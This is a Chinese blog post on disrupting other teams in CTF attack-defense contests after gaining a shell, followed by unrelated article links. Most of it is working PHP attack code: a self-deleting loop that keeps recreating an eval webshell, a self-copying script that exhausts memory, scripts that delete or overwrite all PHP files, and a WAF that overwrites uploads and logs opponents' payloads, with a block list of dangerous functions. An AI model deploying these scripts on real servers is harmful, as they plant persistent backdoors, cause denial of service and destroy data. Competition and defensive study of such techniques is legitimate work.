论如何在CTF比赛中搅屎
0×00 前言
不能搅屎的CTF不是好CTF,不能搅屎的题目不是好题目。
我很赞成phithon神的一句话,“比赛就是和他人竞争的过程,通过各种手段阻止对手拿分我觉得也是一种能力。”
你能够做到别人做不到的,那就是你的本事。
本文所说的搅屎是在GETSHELL的情况下才能进行的!!!遇到phithon师傅的《CTF主办方指南之对抗搅屎棍》就GG了
0×01 预备知识
大多数能够搅屎的题目基本上是PHP且需要getshell的。所以,必备的PHP语法基本只是必须要懂~
接下来是介绍一些特殊的PHP内置函数
ignore_user_abort()
设置客户端断开连接时是否中断脚本的执行
PHP以命令行脚本执行时,当脚本终端结束,脚本不会被立即中止,除非设置 value 为 TRUE,否则脚本输出任意字符时会被中止。
ignore_user_abort(1);
set_time_limit()
设置脚本最大执行时间
设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,或者是在php.ini的max_execution_time被定义的值,如果此值存在。
set_time_limit(0);
ini_get()
获取一个配置选项的值
成功时返回配置选项的值。
echo ‘disable_functions=’.ini_get(‘disable_functions’);
file_put_contents()
将一个字符串写入文件
和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
file_put_contents($filename, $content);
file_get_contents()
将整个文件读入一个字符串
和 file() 一样,只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,file_get_contents() 将返回 FALSE。
当然这个函数也可以通过其他协议读取文件内容
file_get_contents($filename);
file_get_contents($url);
file_put_contents()
将一个字符串写入文件
和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
file_put_contents($filename, $content);
unlink()
删除文件
删除 filename。和 Unix C 的 unlink() 函数相似。 发生错误时会产生一个 E_WARNING 级别的错误。
unlink($filename);
给你的PHP脚本加上set_time_limit(0);ignore_user_abort(1);这两句就能够做的常驻内存了。
对待这种情况,基本上只能重启PHP了。
0×02 搅屎之不死鸟
no_die_shell.php
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    //file_put_contents(__FILE__,”);
    while(1){
        file_put_contents(‘path/webshell.php’,'<?php @eval($_POST["password"]);?>’);
    }
?>
首先就是删除自己,不让别人知道,然后在某一个目录下循环生成你的webshell,根本删不掉~~
0×03 搅屎之核弹
nuclear_bomb.php
<?php
    set_time_limit(0);
    ignore_user_abort(true);
    while(1){
        file_put_contents(randstr().’.php’,file_get_content(__FILE__));
        file_get_contents(“http://127.0.0.1/“);
    }
?>
根据代码,不难看出这个脚本的功能。
常驻内存之后,进入死循环。
循环内部是实现无效複製自身并且访问web服务的功能。
执行的后果就是内存爆炸,php就GG了,严重点的话,Docker也GG。
0×04 搅屎之你死我活
del.php
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    array_map(‘unlink’, glob(“some/dir/*.php”));
?>
del_or_change.php
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    function getfiles($path){
        foreach(glob($path) as $afile){
            if(is_dir($afile))
                getfiles($afile.’/*.php’);
            else
                @file_put_contents($afile,”#Anything#”);
                //unlink($afile);
        }
    }
    while(1){
        getfiles(__DIR__);
        sleep(10);
    }
?>
遍曆目录,得到所有的php文件,然后至于你想改写内容还是直接删掉,看心情了。
遍曆目录的方法很多,但是大多数这些函数都被禁用了(disable_functions)。
偶尔有个别漏网之鱼,比如glob~~这个函数比较少见吧。所以这样就用了它。
如果删除函数unlink被ban掉就改写咯
0×05 搅屎之WAF
感觉这个杀器有点邪恶。对于线下赛来说,近乎于无敌,反正我自己没有什麽好的方法破解。
噁心人啊。
php_waf_and_log_to_txt.php
<?php
    error_reporting(0);
    define(‘LOG_FILENAME’,'log.txt’);
    function waf()
    {
        if (!function_exists(‘getallheaders’)) {
            function getallheaders() {
                foreach ($_SERVER as $name => $value) {
                    if (substr($name, 0, 5) == ‘HTTP_’)
                        $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
                }
                return $headers;
            }
        }
        $get = $_GET;
        $post = $_POST;
        $cookie = $_COOKIE;
        $header = getallheaders();
        $files = $_FILES;
        $ip = $_SERVER["REMOTE_ADDR"];
        $method = $_SERVER['REQUEST_METHOD'];
        $filepath = $_SERVER["SCRIPT_NAME"];
        //rewirte shell which uploaded by others, you can do more
        foreach ($_FILES as $key => $value) {
            $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
            file_put_contents($_FILES[$key]['tmp_name'], “virink”);
        }
        unset($header['Accept']);//fix a bug
        $input = array(“Get”=>$get, “Post”=>$post, “Cookie”=>$cookie, “File”=>$files, “Header”=>$header);
        //deal with
        $pattern = “select|insert|update|delete|and|or|\’|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex”;
        $pattern .= “|file_put_contents|fwrite|curl|system|eval|assert”;
        $pattern .=”|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore”;
        $pattern .=”|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec”;
        $vpattern = explode(“|”,$pattern);
        $bool = false;
        foreach ($input as $k => $v) {
            foreach($vpattern as $value){
                foreach ($v as $kk => $vv) {
                    if (preg_match( “/$value/i”, $vv )){
                        $bool = true;
                        logging($input);
                        break;
                    }
                }
                if($bool) break;
            }
            if($bool) break;
        }
    }
    function logging($var){
        file_put_contents(LOG_FILENAME, “\r\n”.time().”\r\n”.print_r($var, true), FILE_APPEND);
        // die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
    }
    waf();
?>
这个WAF在线下攻防赛中,绝对是一个大杀器。
不仅拦截了大多数非法语句,还能记录所有的攻击流量,轻松得到别人的payload。
不知道主办方要如何解决这个WAF所存在的问题。
当然,这个WAF应该也不是完美的,还可以添加更多的规则,让他变得更强!
接下来再说说,在实战中如何加载这个WAF。
根据权限不同,就有不同的加载方式。
有root权限
那麽,这样就简单了,直接写在配置中。
vim php.ini
auto_append_file = “/dir/path/phpwaf.php”
重启Apache或者php-fpm就能生效了。
当然也可以写在 .user.ini 或者 .htaccess 中。
php_value auto_prepend_file “/dir/path/phpwaf.php”
只有user权限
没写系统权限就只能在代码上面下手了,也就是文件包含。
这钟情况又可以用不同的方式包含。
如果是框架型应用,那麽就可以添加在入口文件,例如index.php,
如果不是框架应用,那麽可以在公共配置文件config.php等相关文件中包含。
include(‘phpwaf.php’);
还有一种是替换index.php,也就是讲index.php改名为index2.php,然后讲phpwaf.php改成index.php。
当然还没完,还要在原phpwaf.php中包含原来的index.php。
index.php -> index2.php
phpwaf.php -> index.php
include(‘index2.php’);
至于你想用哪种方式,看你心情咯,你开心就好。
0×06 结束语
写这篇文章的目的并不是让大家都去CTF搅屎,毕竟CTF是一个正规的比赛的地方,有助于我们学习更多的技术以及黑科技。
当然,服务器维护人员也是很辛苦的。
我们暴打出题人就好了,何必为难运维。(出题人就是运维的情况下,例外!!!)
希望大家用正确的心态看这篇文章,“PHP是世界上最好的语言”,能够挖掘的地方还有很多。
主办方,表打我欸。

如何在CTF中当搅屎棍的更多相关文章

  1. 我是如何在SQLServer中处理每天四亿三千万记录的

    首先声明,我只是个程序员,不是专业的DBA,以下这篇文章是从一个问题的解决过程去写的,而不是一开始就给大家一个正确的结果,如果文中有不对的地方,请各位数据库大牛给予指正,以便我能够更好的处理此次业务. ...

  2. 如何在SpringBoot中使用JSP ?但强烈不推荐,果断改Themeleaf吧

    做WEB项目,一定都用过JSP这个大牌.Spring MVC里面也可以很方便的将JSP与一个View关联起来,使用还是非常方便的.当你从一个传统的Spring MVC项目转入一个Spring Boot ...

  3. 如何在latex 中插入EPS格式图片

    如何在latex 中插入EPS格式图片 第一步:生成.eps格式的图片 1.利用visio画图,另存为pdf格式的图片 利用Adobe Acrobat裁边,使图片大小合适 另存为.eps格式,如下图所 ...

  4. 如何正确的使用json?如何在.Net中使用json?

    什么是json json是一种轻量级的数据交换格式,由N组键值对组成的字符串,完全独立于语言的文本格式. 为什么要使用json 在很久很久以前,调用第三方API时,我们通常是采用xml进行数据交互,但 ...

  5. [原创]如何在Parcelable中使用泛型

    [原创]如何在Parcelable中使用泛型 实体类在实现Parcelable接口时,除了要实现它的几个方法之外,还另外要定义一个静态常量CREATOR,如下例所示: public static cl ...

  6. 如何在springMVC 中对REST服务使用mockmvc 做测试

    如何在springMVC 中对REST服务使用mockmvc 做测试 博客分类: java 基础 springMVCmockMVC单元测试  spring 集成测试中对mock 的集成实在是太棒了!但 ...

  7. 如何在tomcat中如何部署java EE项目

    如何在tomcat中如何部署java EE项目 1.直接把项目复制到Tomcat安装目录的webapps目录中,这是最简单的一种Tomcat项目部署的方法,也是初学者最常用的方法.2.在tomcat安 ...

  8. 【转】我是如何在SQLServer中处理每天四亿三千万记录的

    原文转自:http://blog.jobbole.com/80395/ 首先声明,我只是个程序员,不是专业的DBA,以下这篇文章是从一个问题的解决过程去写的,而不是一开始就给大家一个正确的结果,如果文 ...

  9. 如何在JAVA中实现一个固定最大size的hashMap

    如何在JAVA中实现一个固定最大size的hashMap 利用LinkedHashMap的removeEldestEntry方法,重载此方法使得这个map可以增长到最大size,之后每插入一条新的记录 ...

随机推荐

  1. linux命令学习使用记录

    1.文件批量重命名:把所有.xml文件重命名.txt,第一个参数为文件名中字符串,第二个参数为替换后文件名,第三个为当前目录文件列表 rename .xml .txt *.xml 2.解压不显示过程: ...

  2. SharePoint 2010升级到sharePoint 2013后,人员失去对网站的权限的原因及解决方法。The reason and solution for permission lost after the upgrading

    昨天碰到了一个问题,一个网站在从SharePoint 2010升级到SharePoint 2013后,人员都不能登录了,必须重加赋权,人员才能登录,这样非常麻烦. 原因:是认证方式的问题.在Share ...

  3. Autodesk 2013开发者日(DevDays)又要来了 -- 北京(2013年11月7日)和上海(2013年11月11日)

    各位, 一年一度的Autodesk 开发者日(Devdays)开始注册了,抓紧时间前排占座! 注册地址: www.autodesk.com.cn/adndevday2013 今年开发者日的主题:革命性 ...

  4. Ubuntu 安装系统资源托盘监视应用

    安装 sudo apt-get install indicator-multiload 打开 indicator-multiload 设置开机启动    sudo gedit /etc/rc.loca ...

  5. ReactiveCocoa学习总结

    最近一直断断续续学习关于ReactiveCocoa的知识内容,对于它的一些基础内容将通过本文进行一个总结,主要是一些入门知识 一:RACSignal一些运用 @interface RACSignalT ...

  6. iOS--归档和解档(Archiver)、(UnArchiver)

    一.已有类型的归档和解档 首先来看一个简单的例子: //第一方式:归档对象 //对象-->文件 NSArray *array = [NSArray arrayWithObjects:@" ...

  7. OS开发UI篇—使用UItableview完成一个简单的QQ好友列表

    本文转自:http://www.cnblogs.com/wendingding/p/3763330.html 一.项目结构和plist文件 二.实现代码 1.说明: 主控制器直接继承UITableVi ...

  8. Windows 7 安装.net framework 4.0 失败,错误HRESULT 0xc8000222解决办法

    今天在客服那里发现一个比较奇怪的错误,在客服机子上安装.NET Framework4.0时,出现如下错误:HRESULT 0xc8000222 百度了下原因,原来是win7自动更新造成的.原文网址:h ...

  9. [20140722] forwarded和forwarding记录

    背景: 今天被人文集forwarded和forwarding记录的事情. 简单介绍: 当堆表跟新某一个列的时候发现,不够放了,那么就在那行记录上标记forwarding,并把数据放到另外一个page, ...

  10. mysql-5 数据检索(3)

    计算字段 如果想在一个字段中既显示公司的名称,又显示公司的地址,但是这两个信息一般包含在不同的表列中 城市.州和邮政编码存储在不同的列中,但是邮件标签打印程序却需要把它们作为一个恰当格式的字段检索出来 ...